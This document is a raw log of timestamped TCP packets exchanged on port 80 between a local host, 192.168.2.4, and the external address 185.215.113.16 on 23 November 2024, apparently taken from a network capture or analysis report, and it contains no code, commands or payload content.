Nov 23, 2024 20:23:19.579392910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.579448938 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.579494953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.580015898 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.580064058 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.580112934 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.580159903 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.580674887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.580724001 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.580780983 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.580831051 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.581322908 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.581372976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.581423998 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.581466913 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.581990004 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.582035065 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.582077980 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.582125902 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.582679987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.582732916 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.582763910 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.582809925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.583318949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.583419085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.583431959 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.583493948 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.583983898 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.584043026 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.584080935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.584146976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.584579945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.584629059 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.711040974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.711107016 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.711349964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.711366892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.711383104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.711424112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.711424112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.711424112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.711909056 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.711955070 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.712069988 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.712114096 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.712629080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.712677956 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.712868929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.712919950 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.713016987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.713083029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.713476896 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.713599920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.713643074 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.713658094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.713673115 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.713686943 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.713691950 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.713741064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.714109898 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.714171886 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.714214087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.714325905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.714766026 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.714844942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.714895010 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.714937925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.715564966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.715630054 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.715647936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.715751886 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.716068983 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.716150999 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.716204882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.716253996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.716808081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.716878891 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.716924906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.716924906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.717433929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.717514992 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.717555046 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.717606068 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.718099117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.718147993 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.718215942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.718261957 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.718756914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.718806982 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.718822002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.718869925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.719436884 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.719485998 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.719563007 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.719614029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.720072031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.720122099 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.720177889 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.720232964 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.720757008 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.720809937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.720869064 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.720921040 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.721426010 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.721484900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.721537113 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.721590996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.722071886 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.722121000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.722177982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.722224951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.722718000 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.722765923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.722878933 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.722928047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.723387957 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.723434925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.723506927 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.723561049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.724042892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.724096060 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.724178076 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.724226952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.724718094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.724765062 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.724919081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.724975109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.725466967 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.725555897 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.725579977 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.725630045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.726068974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.726124048 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.726161957 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.726207972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.726711988 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.726762056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.726823092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.726876974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.727385044 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.727440119 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.727493048 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.727545023 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.728054047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.728104115 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.728162050 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.728257895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.728694916 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.728745937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.728832960 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.728882074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.729373932 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.729420900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.729470968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.729516983 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.730029106 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.730101109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.730150938 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.730221033 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.730690956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.730750084 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.730793953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.730842113 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.731384039 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.731435061 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.731492043 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.731542110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.732004881 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.732049942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.732053041 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.732100010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.735424042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735439062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735454082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735469103 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735486031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735497952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.735502958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735548973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.735548973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.735568047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735584021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.735615969 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.735649109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.736135960 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.736151934 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.736193895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.736193895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.736815929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.736885071 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.736955881 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.737004995 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.737394094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.737440109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.737543106 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.737592936 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.738193989 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.738243103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.738358974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.738476992 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.738805056 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.738866091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.738949060 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.738987923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.739543915 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.739558935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.739593029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.739628077 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.740109921 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.740160942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.740247965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.740300894 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.740817070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.740871906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.740981102 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.741039991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.741545916 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.741599083 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.741708994 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.741782904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.742131948 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.742209911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.742280006 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.742330074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.742711067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.742757082 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.742849112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.742902040 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.743477106 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.743624926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.743680000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.744191885 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.744206905 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.744261980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.744261980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.744779110 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.744838953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.744918108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.744971991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.745364904 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.745379925 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.745433092 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.745433092 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.902277946 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.902369022 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.902396917 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.902458906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.902559996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.902616978 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.902681112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.902734995 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.903225899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.903276920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.903342962 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.903409004 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.903904915 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.903956890 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.904088020 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.904139996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.904153109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.904196978 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.904778957 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.904794931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.904834986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.904866934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.905446053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.905499935 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.905504942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.905555010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.906161070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.906218052 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.906286955 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.906333923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.906744957 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.906796932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.906855106 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.906904936 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.907394886 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.907448053 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.907500029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.907551050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.908144951 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.908195972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.908202887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.908251047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.908749104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.908799887 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.908835888 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.908885956 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.909399986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.909449100 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.909493923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.909544945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.910084009 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.910135031 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.910167933 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.910217047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.910737991 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.910784006 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.910861969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.910912037 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.911396027 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.911446095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.911535978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.911585093 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.912049055 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.912094116 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.912204981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.912247896 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.912714958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.912765980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.912807941 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.912857056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.913383007 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.913430929 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.913475037 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.913638115 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.914048910 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.914097071 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.914140940 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.914189100 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.914704084 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.914756060 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.914800882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.914851904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.915443897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.915546894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.915616035 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.916132927 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.916210890 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.916218042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.916260004 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.916759968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.916811943 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.916975021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.917025089 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.917406082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.917459011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.917532921 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.917587042 CET	49783	80	192.168.2.4	185.215.113.16
